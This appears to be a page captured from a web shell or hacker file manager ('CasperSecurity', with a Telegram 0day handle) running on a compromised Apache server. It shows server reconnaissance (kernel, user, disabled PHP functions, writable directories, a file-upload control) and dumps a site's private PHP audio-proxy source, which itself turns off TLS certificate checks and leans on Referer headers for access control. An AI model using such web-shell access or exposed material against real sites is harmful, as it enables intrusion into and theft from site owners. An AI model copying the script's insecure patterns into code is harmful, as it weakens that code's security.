T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/utils/play_audio.php
<?php
// Audio proxy endpoint - hides actual MP3 file paths
// Uses track_id instead of task_id for community pages
// Now includes signed token validation to prevent URL sharing

error_reporting(0);
ini_set('display_errors', 0);
ob_start();

session_start();

// Include token validation
require_once __DIR__ . '/audio_token.php';

/**
 * Log access violation and display a styled error page (bilingual FR/EN)
 * Logs attempt to database and invites user to review terms
 * 
 * @param string $reason Reason for denial (for logging)
 * @param int|string $trackId The track ID attempted
 * @param string $token The token used (if any)
 * @param int $expires Token expiration (if any)
 */
function showAccessDeniedPage($reason, $trackId = null, $token = null, $expires = null) {
    // Collect violation data
    $violationData = [
        'reason' => $reason,
        'track_id' => $trackId,
        'token' => $token ? substr($token, 0, 8) . '...' : null, // Partial token for privacy
        'expires' => $expires,
        'ip_address' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
        'referrer' => $_SERVER['HTTP_REFERER'] ?? 'direct',
        'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
        'user_id' => $_SESSION['user_id'] ?? null,
        'session_id' => session_id(),
        'timestamp' => date('Y-m-d H:i:s')
    ];
    
    // Log to error log
    error_log("AUDIO ACCESS VIOLATION: " . json_encode($violationData));
    
    // Try to log to database
    try {
        require_once __DIR__ . '/../config/database.php';
        $pdo = getDBConnection();
        if ($pdo) {
            // Create table if not exists (first time only)
            $pdo->exec("
                CREATE TABLE IF NOT EXISTS audio_access_violations (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    reason VARCHAR(255) NOT NULL,
                    track_id INT NULL,
                    token_partial VARCHAR(20) NULL,
                    ip_address VARCHAR(45) NOT NULL,
                    user_agent TEXT,
                    referrer TEXT,
                    request_uri TEXT,
                    user_id INT NULL,
                    session_id VARCHAR(128),
                    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    INDEX idx_ip (ip_address),
                    INDEX idx_created (created_at),
                    INDEX idx_reason (reason)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4
            ");
            
            // Insert violation record
            $stmt = $pdo->prepare("
                INSERT INTO audio_access_violations 
                (reason, track_id, token_partial, ip_address, user_agent, referrer, request_uri, user_id, session_id)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
            ");
            $stmt->execute([
                $reason,
                $trackId,
                $violationData['token'],
                $violationData['ip_address'],
                substr($violationData['user_agent'], 0, 500),
                substr($violationData['referrer'], 0, 500),
                substr($violationData['request_uri'], 0, 500),
                $violationData['user_id'],
                $violationData['session_id']
            ]);
        }
    } catch (Exception $e) {
        error_log("Failed to log audio violation to database: " . $e->getMessage());
    }
    
    // Clear any output buffers
    while (ob_get_level()) {
        ob_end_clean();
    }
    
    // Send 403 status
    http_response_code(403);
    
    // Include translation system first to get proper language
    require_once __DIR__ . '/../includes/translations.php';
    $current_lang = getCurrentLanguage();
    $isFrench = ($current_lang === 'fr');
    
    // Bilingual content
    $texts = [
        'title' => $isFrench ? 'Accès Refusé' : 'Access Denied',
        'page_title' => $isFrench ? 'Accès Refusé - Sound Studio Pro' : 'Access Denied - Sound Studio Pro',
        'message' => $isFrench 
            ? 'Ce contenu audio est protégé. L\'accès direct aux fichiers audio n\'est pas autorisé afin de protéger les droits de nos créateurs et d\'assurer une licence appropriée.'
            : 'This audio content is protected. Direct access to audio files is not permitted to protect the rights of our creators and ensure proper licensing.',
        'why_title' => $isFrench ? 'Pourquoi je vois ceci ?' : 'Why am I seeing this?',
        'why_message' => $isFrench
            ? 'Ce lien n\'est plus valide. Il a peut-être expiré ou été utilisé depuis un autre appareil.'
            : 'This link is no longer valid. It may have expired or been used from another device.',
        'terms' => $isFrench ? '📜 Conditions d\'utilisation' : '📜 Terms of Service',
        'privacy' => $isFrench ? '🔐 Politique de confidentialité' : '🔐 Privacy Policy',
        'home_btn' => $isFrench ? '🏠 Retour à Sound Studio Pro' : '🏠 Return to Sound Studio Pro',
        'need_help' => $isFrench ? 'Besoin d\'aide ?' : 'Need help?',
        'contact' => $isFrench ? 'Contacter le support' : 'Contact Support',
        'copyright' => $isFrench ? 'Tous droits réservés.' : 'All rights reserved.'
    ];
    
    // Set page variables for header
    $page_title = $texts['page_title'];
    $current_page = 'access_denied';
    
    // Include the real site header
    include __DIR__ . '/../includes/header.php';
    ?>
    
    <style>
        .access-denied-content {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 60vh;
            padding: 40px 20px;
        }
        .access-denied-container {
            max-width: 520px;
            text-align: center;
            background: rgba(255,255,255,0.05);
            backdrop-filter: blur(10px);
            border-radius: 20px;
            padding: 40px;
            border: 1px solid rgba(255,255,255,0.1);
            box-shadow: 0 25px 50px rgba(0,0,0,0.5);
        }
        .access-denied-icon {
            width: 80px;
            height: 80px;
            background: linear-gradient(135deg, #e74c3c, #c0392b);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 25px;
            font-size: 40px;
        }
        .access-denied-container h1 {
            font-size: 28px;
            margin-bottom: 15px;
            color: #fff;
        }
        .access-denied-message {
            color: rgba(255,255,255,0.7);
            line-height: 1.6;
            margin-bottom: 30px;
        }
        .access-denied-info {
            background: rgba(231, 76, 60, 0.1);
            border: 1px solid rgba(231, 76, 60, 0.3);
            border-radius: 10px;
            padding: 15px;
            margin-bottom: 25px;
            font-size: 14px;
            color: rgba(255,255,255,0.8);
            text-align: left;
        }
        .access-denied-info strong {
            color: #e74c3c;
        }
        .access-denied-links {
            display: flex;
            gap: 15px;
            justify-content: center;
            flex-wrap: wrap;
            margin-bottom: 25px;
        }
        .access-denied-links a {
            color: #667eea;
            text-decoration: none;
            padding: 10px 20px;
            border: 1px solid #667eea;
            border-radius: 8px;
            transition: all 0.3s;
            font-size: 14px;
        }
        .access-denied-links a:hover {
            background: #667eea;
            color: #fff;
        }
        .access-denied-home-btn {
            display: inline-block;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: #fff;
            padding: 12px 30px;
            border-radius: 8px;
            text-decoration: none;
            font-weight: 600;
            transition: transform 0.3s, box-shadow 0.3s;
        }
        .access-denied-home-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 30px rgba(102, 126, 234, 0.4);
        }
        .access-denied-footer {
            margin-top: 30px;
            font-size: 12px;
            color: rgba(255,255,255,0.4);
        }
        .access-denied-footer a {
            color: rgba(255,255,255,0.6);
            text-decoration: none;
        }
        .access-denied-footer a:hover {
            color: #667eea;
        }
    </style>
    
    <main class="access-denied-content">
        <div class="access-denied-container">
            <div class="access-denied-icon">🔒</div>
            <h1><?= htmlspecialchars($texts['title']) ?></h1>
            <p class="access-denied-message"><?= htmlspecialchars($texts['message']) ?></p>
            
            <div class="access-denied-info">
                <strong><?= htmlspecialchars($texts['why_title']) ?></strong><br><br>
                <?= htmlspecialchars($texts['why_message']) ?>
            </div>
            
            <div class="access-denied-links">
                <a href="/terms.php"><?= $texts['terms'] ?></a>
                <a href="/privacy.php"><?= $texts['privacy'] ?></a>
            </div>
            
            <a href="/" class="access-denied-home-btn"><?= $texts['home_btn'] ?></a>
            
            <div class="access-denied-footer">
                <p><?= htmlspecialchars($texts['need_help']) ?> <a href="/contact.php"><?= htmlspecialchars($texts['contact']) ?></a></p>
                <p style="margin-top: 10px;">© <?= date('Y') ?> Sound Studio Pro. <?= htmlspecialchars($texts['copyright']) ?></p>
            </div>
        </div>
    </main>
    
    <?php
    // Include the real site footer
    include __DIR__ . '/../includes/footer.php';
    exit;
}

// Get track ID and optional variation from URL
$trackId = $_GET['id'] ?? '';
$variationIndex = isset($_GET['variation']) ? (int)$_GET['variation'] : null;
$token = $_GET['token'] ?? '';
$expires = isset($_GET['expires']) ? (int)$_GET['expires'] : 0;

// CRITICAL: Block direct URL access - only allow when coming from proper pages or Range requests (playback)
// This prevents people from pasting URLs directly in browser
$referrer = $_SERVER['HTTP_REFERER'] ?? '';
$isRangeRequest = isset($_SERVER['HTTP_RANGE']); // Range requests are from audio player (playback)
$isPageLoad = !$isRangeRequest && ($_SERVER['REQUEST_METHOD'] ?? 'GET') === 'GET';

// Allowed pages that can generate valid audio URLs
$allowedPages = [
    'track.php',
    'community_fixed.php',
    'create_music.php', // In case users preview tracks
    'radio/', // Radio pages
    'library', // Library pages (library.php, library_fixed.php, etc.)
    'admin_batch_analyze_tracks.php', // Admin batch analysis
    'admin.php', // Admin panel
];

$isFromValidPage = false;

// Check if request is coming from a valid page on our domain
if (!empty($referrer)) {
    // Extract the path from the referrer URL
    $referrerPath = parse_url($referrer, PHP_URL_PATH);
    if ($referrerPath) {
        $referrerPath = basename($referrerPath);
        // Check if referrer is from our domain
        $referrerHost = parse_url($referrer, PHP_URL_HOST);
        $allowedDomains = [
            $_SERVER['HTTP_HOST'] ?? 'soundstudiopro.com',
            'soundstudiopro.com',
            'www.soundstudiopro.com'
        ];
        
        if (in_array($referrerHost, $allowedDomains)) {
            // Check if it's from an allowed page
            foreach ($allowedPages as $allowedPage) {
                if (strpos($referrer, $allowedPage) !== false) {
                    $isFromValidPage = true;
                    break;
                }
            }
        }
    }
}

// Block direct access for page loads (not Range requests) if not from valid page
// Range requests are always allowed (they're from audio player, not direct browser access)
if ($isPageLoad && !$isFromValidPage) {
    showAccessDeniedPage('Direct URL access - no valid referrer', $trackId, $token, $expires);
}

ob_clean();

if (empty($trackId) || !is_numeric($trackId)) {
    http_response_code(400);
    header('Content-Type: text/plain');
    echo "Invalid track ID";
    exit;
}

require_once __DIR__ . '/../config/database.php';
ob_clean();

$pdo = getDBConnection();
if (!$pdo) {
    http_response_code(500);
    header('Content-Type: text/plain');
    echo "Database error";
    exit;
}

// Get current user and session
$user_id = $_SESSION['user_id'] ?? null;
$session_id = session_id();

// Get track and verify access
$stmt = $pdo->prepare("SELECT id, task_id, audio_url, is_public, user_id, status, metadata, selected_variation FROM music_tracks WHERE id = ? AND status = 'complete'");
$stmt->execute([$trackId]);
$track = $stmt->fetch(PDO::FETCH_ASSOC);

if (!$track) {
    http_response_code(404);
    header('Content-Type: text/plain');
    echo "Track not found";
    exit;
}

// SECURITY: Check access
$is_admin = isset($_SESSION['is_admin']) && $_SESSION['is_admin'];
$isOwner = ($user_id && $track['user_id'] == $user_id);
$isPublic = ($track['is_public'] == 1);

// Admins have access to all tracks (bypass ownership/public checks)
// For public tracks, token is optional (for backward compatibility)
// For private tracks or owners, token is required
if ($is_admin) {
    // Admin access - still validate token if provided, but allow access regardless
    if (!empty($token) && !empty($expires)) {
        $tokenValid = validateAudioToken($trackId, $variationIndex, $token, $expires, $user_id, $session_id);
        if (!$tokenValid) {
            // Try with null user_id (guest mode)
            $tokenValid = validateAudioToken($trackId, $variationIndex, $token, $expires, null, $session_id);
        }
        // If token is provided, it should be valid, but don't block admin if it's not
        // (admin might be accessing for batch operations)
    }
    // Admin has access - continue to serve audio
} elseif ($isPublic) {
    // Public track - if token is provided, it MUST be valid for this track and session
    // This prevents URL sharing across browsers/sessions
    if (!empty($token) && !empty($expires)) {
        $tokenValid = validateAudioToken($trackId, $variationIndex, $token, $expires, $user_id, $session_id);
        if (!$tokenValid) {
            // Try with null user_id (guest mode)
            $tokenValid = validateAudioToken($trackId, $variationIndex, $token, $expires, null, $session_id);
        }
        // CRITICAL: If token is provided, it MUST be valid - prevents cross-browser sharing
        if (!$tokenValid) {
            showAccessDeniedPage('Invalid token for session (possible URL sharing)', $trackId, $token, $expires);
        }
    }
    // Public track - allow access (with valid token or without token)
} else {
    // Private track - require valid token
    if (empty($token) || empty($expires)) {
        showAccessDeniedPage('Private track - missing authentication token', $trackId, $token, $expires);
    }
    
    // Validate token
    $tokenValid = validateAudioToken($trackId, $variationIndex, $token, $expires, $user_id, $session_id);
    
    if (!$tokenValid && $isOwner) {
        // Owner might have different session, try with null user_id
        $tokenValid = validateAudioToken($trackId, $variationIndex, $token, $expires, null, $session_id);
    }
    
    if (!$tokenValid) {
        showAccessDeniedPage('Invalid or expired token', $trackId, $token, $expires);
    }
}

// CRITICAL: One-time use enforcement - check BEFORE serving, mark on page loads only
// First page load consumes the use, refresh is blocked
// Range requests (playback/seeking) don't consume uses - they're part of the same session
$isPageLoad = !isset($_SERVER['HTTP_RANGE']) && ($_SERVER['REQUEST_METHOD'] ?? 'GET') === 'GET';

if (!empty($token) && !empty($expires)) {
    // Check if token has already been used (blocks refresh)
    $usage = checkTokenUsage($token, $trackId);
    
    if ($usage['used'] && $usage['expired']) {
        // Token already used - block immediately
        showAccessDeniedPage('Token already used (possible replay attack)', $trackId, $token, $expires);
    }
    
    // Mark token as used ONLY on page loads (not Range requests)
    // First page load consumes the use immediately, refresh is blocked
    // Range requests (playback/seeking) don't consume uses - allows normal playback
    if ($isPageLoad) {
        markTokenUsed($token, $trackId);
    }
}

// If no variation parameter provided, check for selected variation in metadata
if ($variationIndex === null) {
    // Check metadata for selected_variation
    if (!empty($track['metadata'])) {
        $metadata = is_string($track['metadata']) ? json_decode($track['metadata'], true) : $track['metadata'];
        if (isset($metadata['selected_variation'])) {
            $variationIndex = (int)$metadata['selected_variation'];
        }
    }
    // Also check selected_variation column if it exists
    if ($variationIndex === null && isset($track['selected_variation']) && $track['selected_variation'] !== null) {
        $variationIndex = (int)$track['selected_variation'];
    }
}

// Get audio URL - PRIORITY: mastered version > specific variation > main track
$audioUrl = '';

// PRIORITY 1: Check for mastered version in metadata (if available)
if (!empty($track['metadata'])) {
    $metadata = is_string($track['metadata']) ? json_decode($track['metadata'], true) : $track['metadata'];
    if (!empty($metadata['mastered_audio_url'])) {
        $audioUrl = $metadata['mastered_audio_url'];
    }
}

// PRIORITY 2: Check for specific variation (if no mastered version)
if (empty($audioUrl) && $variationIndex !== null) {
    // Get specific variation
    $stmt = $pdo->prepare("SELECT audio_url FROM audio_variations WHERE track_id = ? AND variation_index = ?");
    $stmt->execute([$trackId, $variationIndex]);
    $variation = $stmt->fetch(PDO::FETCH_ASSOC);
    if ($variation) {
        $audioUrl = $variation['audio_url'] ?? '';
    }
}

// PRIORITY 3: Use main track audio URL
if (empty($audioUrl)) {
    $audioUrl = $track['audio_url'] ?? '';
    
    // PRIORITY 4: If still empty, try first variation as fallback
    if (empty($audioUrl)) {
        $stmt = $pdo->prepare("SELECT audio_url FROM audio_variations WHERE track_id = ? ORDER BY variation_index ASC LIMIT 1");
        $stmt->execute([$trackId]);
        $variation = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($variation) {
            $audioUrl = $variation['audio_url'] ?? '';
        }
    }
}

if (empty($audioUrl)) {
    http_response_code(404);
    header('Content-Type: text/plain');
    echo "Audio not available";
    exit;
}

// SECURITY: If it's a local file, validate path before serving
if (strpos($audioUrl, '/audio_files/') === 0 || strpos($audioUrl, '/uploads/') === 0) {
    // Use file security utility to validate path (defense in depth)
    require_once __DIR__ . '/../includes/file_security.php';
    $audio_validation = validateAudioUrl($audioUrl);
    
    if ($audio_validation['type'] !== 'local' || !$audio_validation['path']) {
        // Path validation failed - security violation
        error_log("SECURITY: Invalid audio path in play_audio.php: " . htmlspecialchars($audioUrl, ENT_QUOTES, 'UTF-8'));
        showAccessDeniedPage('Security violation - invalid path', $trackId, $token, $expires);
    }
    
    $localPath = $audio_validation['path'];
    
    if (file_exists($localPath)) {
        $fileSize = filesize($localPath);
        $fileType = mime_content_type($localPath) ?: 'audio/mpeg';
        
        while (ob_get_level()) {
            ob_end_clean();
        }
        
        header('Content-Type: ' . $fileType);
        header('Accept-Ranges: bytes');
        header('Cache-Control: public, max-age=3600');
        
        // Handle Range requests for seeking support
        if (isset($_SERVER['HTTP_RANGE'])) {
            // Parse the Range header
            $range = $_SERVER['HTTP_RANGE'];
            if (preg_match('/bytes=(\d*)-(\d*)/', $range, $matches)) {
                $start = $matches[1] === '' ? 0 : intval($matches[1]);
                $end = $matches[2] === '' ? $fileSize - 1 : intval($matches[2]);
                
                // Validate range
                if ($start > $end || $start >= $fileSize || $end >= $fileSize) {
                    http_response_code(416); // Range Not Satisfiable
                    header("Content-Range: bytes */$fileSize");
                    exit;
                }
                
                $length = $end - $start + 1;
                
                http_response_code(206); // Partial Content
                header("Content-Range: bytes $start-$end/$fileSize");
                header("Content-Length: $length");
                
                // Serve the requested range
                $fp = fopen($localPath, 'rb');
                fseek($fp, $start);
                $remaining = $length;
                while ($remaining > 0 && !feof($fp)) {
                    $chunk = min(8192, $remaining);
                    echo fread($fp, $chunk);
                    $remaining -= $chunk;
                    flush();
                }
                fclose($fp);
                exit;
            }
        }
        
        // No Range header - serve full file
        header('Content-Length: ' . $fileSize);
        readfile($localPath);
        exit;
    }
}

// If it's an external URL, proxy it with Range support
if (strpos($audioUrl, 'http') === 0) {
    while (ob_get_level()) {
        ob_end_clean();
    }
    
    // Build headers to forward to external server
    $requestHeaders = [
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ];
    
    // Forward Range header if present (for seeking support)
    if (isset($_SERVER['HTTP_RANGE'])) {
        $requestHeaders[] = 'Range: ' . $_SERVER['HTTP_RANGE'];
    }
    
    $ch = curl_init($audioUrl);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders);
    
    // Capture response headers to forward them
    $responseHeaders = [];
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function($curl, $header) use (&$responseHeaders) {
        $len = strlen($header);
        $header = trim($header);
        if (empty($header)) return $len;
        
        // Parse header
        $parts = explode(':', $header, 2);
        if (count($parts) == 2) {
            $name = strtolower(trim($parts[0]));
            $value = trim($parts[1]);
            $responseHeaders[$name] = $value;
        } elseif (strpos($header, 'HTTP/') === 0) {
            // Status line - extract status code
            if (preg_match('/HTTP\/\d\.?\d?\s+(\d+)/', $header, $matches)) {
                $responseHeaders['_status'] = intval($matches[1]);
            }
        }
        return $len;
    });
    
    // Buffer the response to get headers first, then stream
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $body = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode >= 400) {
        http_response_code(500);
        header('Content-Type: text/plain');
        echo "Failed to stream audio";
        exit;
    }
    
    // Set appropriate status code (206 for partial content, 200 for full)
    if ($httpCode == 206) {
        http_response_code(206);
    }
    
    // Forward relevant headers
    header('Content-Type: ' . ($responseHeaders['content-type'] ?? 'audio/mpeg'));
    header('Accept-Ranges: bytes');
    header('Cache-Control: public, max-age=3600');
    
    if (isset($responseHeaders['content-length'])) {
        header('Content-Length: ' . $responseHeaders['content-length']);
    }
    if (isset($responseHeaders['content-range'])) {
        header('Content-Range: ' . $responseHeaders['content-range']);
    }
    
    // Output the body
    echo $body;
    exit;
}

http_response_code(404);
header('Content-Type: text/plain');
echo "Audio not available";
exit;
?>


CasperSecurity Mini